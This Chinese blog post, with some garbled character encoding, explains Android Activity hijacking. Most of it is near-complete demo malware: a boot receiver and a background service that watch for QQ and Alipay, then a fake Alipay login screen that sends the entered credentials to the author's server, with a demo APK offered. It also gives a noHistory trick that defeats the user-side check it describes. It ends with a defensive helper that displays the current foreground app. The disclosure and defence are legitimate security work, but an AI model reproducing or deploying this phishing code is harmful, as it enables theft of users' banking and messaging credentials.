activity劫持反劫持
1、Activity調(diào)度機(jī)制
android為了提高用戶的用戶體驗(yàn),對于不同的應(yīng)用程序之間的切換,基本上是無縫。他們切換的只是一個(gè)activity,讓切換的到前臺(tái)顯示,另一個(gè)應(yīng)用則被覆蓋到后臺(tái),不可見。Activity的概念相當(dāng)于一個(gè)與用戶交互的界面。而Activity的調(diào)度是交由Android系統(tǒng)中的AmS管理的。AmS即ActivityManagerService(Activity管理服務(wù)),各個(gè)應(yīng)用想啟動(dòng)或停止一個(gè)進(jìn)程,都是先報(bào)告給AmS。?當(dāng)AmS收到要啟動(dòng)或停止Activity的消息時(shí),它先更新內(nèi)部記錄,再通知相應(yīng)的進(jìn)程運(yùn)行或停止指定的Activity。當(dāng)新的Activity啟動(dòng),前一個(gè)Activity就會(huì)停止,這些Activity都保留在系統(tǒng)中的一個(gè)Activity歷史棧中。每有一個(gè)Activity啟動(dòng),它就壓入歷史棧頂,并在手機(jī)上顯示。當(dāng)用戶按下back鍵時(shí),頂部Activity彈出,恢復(fù)前一個(gè)Activity,棧頂指向當(dāng)前的Activity。?
2、Android設(shè)計(jì)上的缺陷——Activity劫持?
如果在啟動(dòng)一個(gè)Activity時(shí),給它加入一個(gè)標(biāo)志位FLAG_ACTIVITY_NEW_TASK,就能使它置于棧頂并立馬呈現(xiàn)給用戶。?
但是這樣的設(shè)計(jì)卻有一個(gè)缺陷。如果這個(gè)Activity是用于盜號的偽裝Activity呢??
在Android系統(tǒng)當(dāng)中,程序可以枚舉當(dāng)前運(yùn)行的進(jìn)程而不需要聲明其他權(quán)限,這樣子我們就可以寫一個(gè)程序,啟動(dòng)一個(gè)后臺(tái)的服務(wù),這個(gè)服務(wù)不斷地掃描當(dāng)前運(yùn)行的進(jìn)程,當(dāng)發(fā)現(xiàn)目標(biāo)進(jìn)程啟動(dòng)時(shí),就啟動(dòng)一個(gè)偽裝的Activity。如果這個(gè)Activity是登錄界面,那么就可以從中獲取用戶的賬號密碼。?
?一個(gè)運(yùn)行在后臺(tái)的服務(wù)可以做到如下兩點(diǎn):1,決定哪一個(gè)activity運(yùn)行在前臺(tái) ?2,運(yùn)行自己app的activity到前臺(tái)。
?這樣,惡意的開發(fā)者就可以對應(yīng)程序進(jìn)行攻擊了,對于有登陸界面的應(yīng)用程序,他們可以偽造一個(gè)一模一樣的界面,普通用戶根本無法識(shí)別是真的還是假。用戶輸入用戶名和密碼之后,惡意程序就可以悄無聲息的把用戶信息上傳到服務(wù)器了。這樣是非常危險(xiǎn)的。
實(shí)現(xiàn)原理:如果我們注冊一個(gè)receiver,響應(yīng)android.intent.action.BOOT_COMPLETED,使得開啟啟動(dòng)一個(gè)service;這個(gè)service,會(huì)啟動(dòng)一個(gè)計(jì)時(shí)器,不停枚舉當(dāng)前進(jìn)程中是否有預(yù)設(shè)的進(jìn)程啟動(dòng),如果發(fā)現(xiàn)有預(yù)設(shè)進(jìn)程,則使用FLAG_ACTIVITY_NEW_TASK啟動(dòng)自己的釣魚界面,截獲正常應(yīng)用的登錄憑證。
3、示例?
下面是示例代碼。?
AndroidManifest.xml文件的代碼。
<?xml version="1.0" encoding="utf-8"?> <manifest xmlns:android="http://schemas.android.com/apk/res/android"package="com.sinaapp.msdxblog.android.activityhijacking"android:versionCode="1"android:versionName="1.0" ><uses-sdk android:minSdkVersion="4" /><uses-permission android:name="android.permission.INTERNET" /><uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" /><applicationandroid:name=".HijackingApplication"android:icon="@drawable/icon"android:label="@string/app_name" ><activityandroid:name=".activity.HijackingActivity"android:theme="@style/transparent"android:label="@string/app_name" ><intent-filter><action android:name="android.intent.action.MAIN" /><category android:name="android.intent.category.LAUNCHER" /></intent-filter></activity><activity android:name=".activity.sadstories.JokeActivity" /><activity android:name=".activity.sadstories.QQStoryActivity" /><activity android:name=".activity.sadstories.AlipayStoryActivity" /><receiverandroid:name=".receiver.HijackingReceiver"android:enabled="true"android:exported="true" ><intent-filter><action android:name="android.intent.action.BOOT_COMPLETED" /></intent-filter></receiver><service android:name=".service.HijackingService" ></service></application></manifest>
在以上的代碼中,聲明了一個(gè)服務(wù)service,用于枚舉當(dāng)前運(yùn)行的進(jìn)程。其中如果不想開機(jī)啟動(dòng)的話,甚至可以把以上receiver部分的代碼,及聲明開機(jī)啟動(dòng)的權(quán)限的這一行代碼 <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />去掉,僅僅需要訪問網(wǎng)絡(luò)的權(quán)限(向外發(fā)送獲取到的賬號密碼),單從AndroidManifest文件是看不出任何異常的。?
下面是正常的Activity的代碼。在這里只是啟動(dòng)用于Activity劫持的服務(wù)。如果在上面的代碼中已經(jīng)聲明了開機(jī)啟動(dòng),則這一步也可以省略。?
? package com.sinaapp.msdxblog.android.activityhijacking.activity;import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.util.Log;import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;public class HijackingActivity extends Activity {/** Called when the activity is first created. */@Overridepublic void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);setContentView(R.layout.main);Intent intent2 = new Intent(this, HijackingService.class);startService(intent2);Log.w("hijacking", "activity啟動(dòng)用來劫持的Service");} }
如果想要開機(jī)啟動(dòng),則需要一個(gè)receiver,即廣播接收器,在開機(jī)時(shí)得到開機(jī)啟動(dòng)的廣播,并在這里啟動(dòng)服務(wù)。如果沒有開機(jī)啟動(dòng)(這跟上面至少要實(shí)現(xiàn)一處,不然服務(wù)就沒有被啟動(dòng)了),則這一步可以省略。
/** @(#)HijackingBroadcast.java Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.android.activityhijacking.receiver;import com.sinaapp.msdxblog.android.activityhijacking.service.HijackingService;import android.content.BroadcastReceiver; import android.content.Context; import android.content.Intent; import android.util.Log;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class HijackingReceiver extends BroadcastReceiver {@Overridepublic void onReceive(Context context, Intent intent) {if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {Log.w("hijacking", "開機(jī)啟動(dòng)");Intent intent2 = new Intent(context, HijackingService.class);context.startService(intent2);Log.w("hijacking", "啟動(dòng)用來劫持的Service");}} }
下面這個(gè)HijackingService類可就關(guān)鍵了,即用來進(jìn)行Activity劫持的。?
在這里,將運(yùn)行枚舉當(dāng)前運(yùn)行的進(jìn)程,發(fā)現(xiàn)目標(biāo)進(jìn)程,彈出偽裝程序。?
代碼如下:
/** @(#)HijackingService.java Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.android.activityhijacking.service;import java.util.HashMap; import java.util.List;import android.app.ActivityManager; import android.app.ActivityManager.RunningAppProcessInfo; import android.app.Service; import android.content.Context; import android.content.Intent; import android.os.Handler; import android.os.IBinder; import android.util.Log;import com.sinaapp.msdxblog.android.activityhijacking.HijackingApplication; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.AlipayStoryActivity; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.JokeActivity; import com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories.QQStoryActivity;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class HijackingService extends Service {private boolean hasStart = false;// 這是一個(gè)悲傷的故事……HashMap<String, Class<?>> mSadStories = new HashMap<String, Class<?>>();// Timer mTimer = new Timer();Handler handler = new Handler();Runnable mTask = new Runnable() {@Overridepublic void run() {ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);List<RunningAppProcessInfo> appProcessInfos = activityManager.getRunningAppProcesses();// 枚舉進(jìn)程Log.w("hijacking", "正在枚舉進(jìn)程");for (RunningAppProcessInfo appProcessInfo : appProcessInfos) {// 如果APP在前臺(tái),那么——悲傷的故事就要來了if (appProcessInfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {if (mSadStories.containsKey(appProcessInfo.processName)) {// 進(jìn)行劫持hijacking(appProcessInfo.processName);} else {Log.w("hijacking", appProcessInfo.processName);}}}handler.postDelayed(mTask, 1000);}/*** 進(jìn)行劫持* @param processName*/private void hijacking(String processName) {Log.w("hijacking", "有程序要悲劇了……");if (((HijackingApplication) getApplication()).hasProgressBeHijacked(processName) == false) {Log.w("hijacking", "悲劇正在發(fā)生");Intent jackingIsComing = new Intent(getBaseContext(),mSadStories.get(processName));jackingIsComing.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);getApplication().startActivity(jackingIsComing);((HijackingApplication) getApplication()).addProgressHijacked(processName);Log.w("hijacking", "已經(jīng)劫持");}}};@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onStart(Intent intent, int startId) {super.onStart(intent, startId);if (!hasStart) {mSadStories.put("com.sinaapp.msdxblog.android.lol",JokeActivity.class);mSadStories.put("com.tencent.mobileqq", QQStoryActivity.class);mSadStories.put("com.eg.android.AlipayGphone",AlipayStoryActivity.class);handler.postDelayed(mTask, 1000);hasStart = true;}}@Overridepublic boolean stopService(Intent name) {hasStart = false;Log.w("hijacking", "劫持服務(wù)停止");((HijackingApplication) getApplication()).clearProgressHijacked();return super.stopService(name);} }
下面是支付寶的偽裝類(布局文件就不寫了,這個(gè)是對老版本的支付寶界面的偽裝,新的支付寶登錄界面已經(jīng)完全不一樣了。表示老版本的支付寶的界面相當(dāng)?shù)疤?#xff0c;讀從它反編譯出來的代碼苦逼地讀了整個(gè)通宵結(jié)果還是沒讀明白。它的登錄界面各種布局蛋疼地嵌套了十層,而我為了實(shí)現(xiàn)跟它一樣的效果也蛋疼地嵌套了八層的組件)。
/** @(#)QQStoryActivity.java Project:ActivityHijackingDemo* Date:2012-6-7** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.android.activityhijacking.activity.sadstories;import android.app.Activity; import android.os.Bundle; import android.os.Handler; import android.os.HandlerThread; import android.text.Html; import android.view.View; import android.widget.Button; import android.widget.EditText; import android.widget.TextView;import com.sinaapp.msdxblog.android.activityhijacking.R; import com.sinaapp.msdxblog.android.activityhijacking.utils.SendUtil;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class AlipayStoryActivity extends Activity {private EditText name;private EditText password;private Button mBtAlipay;private Button mBtTaobao;private Button mBtRegister;private TextView mTvFindpswd;@Overrideprotected void onCreate(Bundle savedInstanceState) {super.onCreate(savedInstanceState);this.setTheme(android.R.style.Theme_NoTitleBar);setContentView(R.layout.alipay);mBtAlipay = (Button) findViewById(R.id.alipay_bt_alipay);mBtTaobao = (Button) findViewById(R.id.alipay_bt_taobao);mBtRegister = (Button) findViewById(R.id.alipay_bt_register);mTvFindpswd = (TextView) findViewById(R.id.alipay_findpswd);mTvFindpswd.setText(Html.fromHtml("[u]找回登錄密碼[/u]"));mBtAlipay.setSelected(true);name = (EditText) findViewById(R.id.input_name);password = (EditText) findViewById(R.id.input_password);}public void onButtonClicked(View v) {switch (v.getId()) {case R.id.alipay_bt_login:HandlerThread handlerThread = new HandlerThread("send");handlerThread.start();new Handler(handlerThread.getLooper()).post(new Runnable() {@Overridepublic void run() {// 發(fā)送獲取到的用戶密碼SendUtil.sendInfo(name.getText().toString(), password.getText().toString(), "支付寶");}});moveTaskToBack(true);break;case R.id.alipay_bt_alipay:chooseToAlipay();break;case R.id.alipay_bt_taobao:chooseToTaobao();break;default:break;}}private void chooseToAlipay() {mBtAlipay.setSelected(true);mBtTaobao.setSelected(false);name.setHint(R.string.alipay_name_alipay_hint);mTvFindpswd.setVisibility(View.VISIBLE);mBtRegister.setVisibility(View.VISIBLE);}private void chooseToTaobao() {mBtAlipay.setSelected(false);mBtTaobao.setSelected(true);name.setHint(R.string.alipay_name_taobao_hint);mTvFindpswd.setVisibility(View.GONE);mBtRegister.setVisibility(View.GONE);} }
上面的其他代碼主要是為了讓界面的點(diǎn)擊效果與真的支付寶看起來盡量一樣。主要的代碼是發(fā)送用戶密碼的那一句。?
至于SendUtil我就不提供了,它是向我寫的服務(wù)器端發(fā)送一個(gè)HTTP請求,將用戶密碼發(fā)送出去。?
下面是我在學(xué)校時(shí)用來演示的PPT及APK。?
演示文檔和APK
4、用戶防范?
android手機(jī)均有一個(gè)HOME鍵(即小房子的那個(gè)圖標(biāo)),長按可以看到近期任務(wù) 對于我所用的HTC G14而言,顯示的最近的一個(gè)是上一個(gè)運(yùn)行的程序。小米顯示的最近的一個(gè)是當(dāng)前運(yùn)行的程序。所以,在要輸入密碼進(jìn)行登錄時(shí),可以通過長按HOME鍵查看近期任務(wù),以我的手機(jī)為例,如果在登錄QQ時(shí)長按發(fā)現(xiàn)近期任務(wù)出現(xiàn)了QQ,則我現(xiàn)在的這個(gè)登錄界面就極有可能是偽裝了,切換到另一個(gè)程序,再查看近期任務(wù),就可以知道這個(gè)登錄界面是來源于哪個(gè)程序了。?
如果是小米手機(jī)的話,在進(jìn)行登錄時(shí),如果查看的近期任務(wù)的第一個(gè)不是自己要登錄的那個(gè)程序的名字,則它就是偽裝的。?
而且這種方法也不是絕對的 ?可以在AndroidManifest中相應(yīng)activity下添加android:noHistory="true"這樣就不會(huì)把偽裝界面顯示在最近任務(wù)中
5、反劫持
然而,如果真的爆發(fā)了這種惡意程序,我們并不能在啟動(dòng)程序時(shí)每一次都那么小心去查看判斷當(dāng)前在運(yùn)行的是哪一個(gè)程序,當(dāng)android:noHistory="true"時(shí)上面的方法也無效 ??因此,前幾個(gè)星期花了一點(diǎn)時(shí)間寫了一個(gè)程序,叫反劫持助手。原理很簡單,就是獲取當(dāng)前運(yùn)行的是哪一個(gè)程序,并且顯示在一個(gè)浮動(dòng)窗口中,以幫忙用戶判斷當(dāng)前運(yùn)行的是哪一個(gè)程序,防范一些釣魚程序的欺騙。
在這一次,由于是“正當(dāng)防衛(wèi)”,就不再通過枚舉來獲取當(dāng)前運(yùn)行的程序了,在manifest文件中增加一個(gè)權(quán)限:?
android權(quán)限
<uses-permission android:name="android.permission.GET_TASKS" /> 然后啟動(dòng)程序的時(shí)候,啟動(dòng)一個(gè)Service,在Service中啟動(dòng)一個(gè)浮動(dòng)窗口,并周期性檢測當(dāng)前運(yùn)行的是哪一個(gè)程序,然后顯示在浮動(dòng)窗口中。?
程序截圖如下:?
其中Service代碼如下:
/** @(#)AntiService.java Project:ActivityHijackingDemo* Date:2012-9-13** Copyright (c) 2011 CFuture09, Institute of Software, * Guangdong Ocean University, Zhanjiang, GuangDong, China.* All rights reserved.** Licensed under the Apache License, Version 2.0 (the "License");* you may not use this file except in compliance with the License.* You may obtain a copy of the License at** http://www.apache.org/licenses/LICENSE-2.0** Unless required by applicable law or agreed to in writing, software* distributed under the License is distributed on an "AS IS" BASIS,* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.* See the License for the specific language governing permissions and* limitations under the License.*/ package com.sinaapp.msdxblog.antihijacking.service;import android.app.ActivityManager; import android.app.Notification; import android.app.Service; import android.content.Context; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.PackageManager.NameNotFoundException; import android.os.Bundle; import android.os.Handler; import android.os.IBinder; import android.os.Message; import android.util.Log;import com.sinaapp.msdxblog.androidkit.thread.HandlerFactory; import com.sinaapp.msdxblog.antihijacking.AntiConstants; import com.sinaapp.msdxblog.antihijacking.view.AntiView;/*** @author Geek_Soledad (66704238@51uc.com)*/ public class AntiService extends Service {private boolean shouldLoop = false;private Handler handler;private ActivityManager am;private PackageManager pm;private Handler mainHandler;private AntiView mAntiView;private int circle = 2000;@Overridepublic IBinder onBind(Intent intent) {return null;}@Overridepublic void onStart(Intent intent, int startId) {super.onStart(intent, startId);startForeground(19901008, new Notification());if (intent != null) {circle = intent.getIntExtra(AntiConstants.CIRCLE, 2000);} Log.i("circle", circle + "ms");if (true == shouldLoop) {return;}mAntiView = new AntiView(this);mainHandler = new Handler() {public void handleMessage(Message msg) {String name = msg.getData().getString("name");mAntiView.setText(name);};};pm = getPackageManager();shouldLoop = true;am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);handler = new Handler(HandlerFactory.getHandlerLooperInOtherThread("anti")) {@Overridepublic void handleMessage(Message msg) {super.handleMessage(msg);String packageName = am.getRunningTasks(1).get(0).topActivity.getPackageName();try {String progressName = pm.getApplicationLabel(pm.getApplicationInfo(packageName,PackageManager.GET_META_DATA)).toString();updateText(progressName);} catch (NameNotFoundException e) {e.printStackTrace();}if (shouldLoop) {handler.sendEmptyMessageDelayed(0, circle);}}};handler.sendEmptyMessage(0);}private void updateText(String name) {Message message = new Message();Bundle data = new Bundle();data.putString("name", name);message.setData(data);mainHandler.sendMessage(message);}@Overridepublic void onDestroy() {shouldLoop = false;mAntiView.remove();super.onDestroy();}}
浮動(dòng)窗口僅為一個(gè)簡單的textview,非此次的技術(shù)重點(diǎn),在這里省略不講。?
當(dāng)然,從以上代碼也可以看出本程序只能防范通過Activity作為釣魚界面的程序,因?yàn)樗峭ㄟ^運(yùn)行的頂層的Activity來獲取程序名稱的,對WooYun最近提到的另一個(gè)釣魚方法它還是無能為力的,關(guān)于這一點(diǎn)將在下次談。?
總結(jié)
以上是生活随笔為你收集整理的activity劫持反劫持的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 转载:日本动漫编年史
- 下一篇: 学习笔记(4):思科CCNA模拟器Pac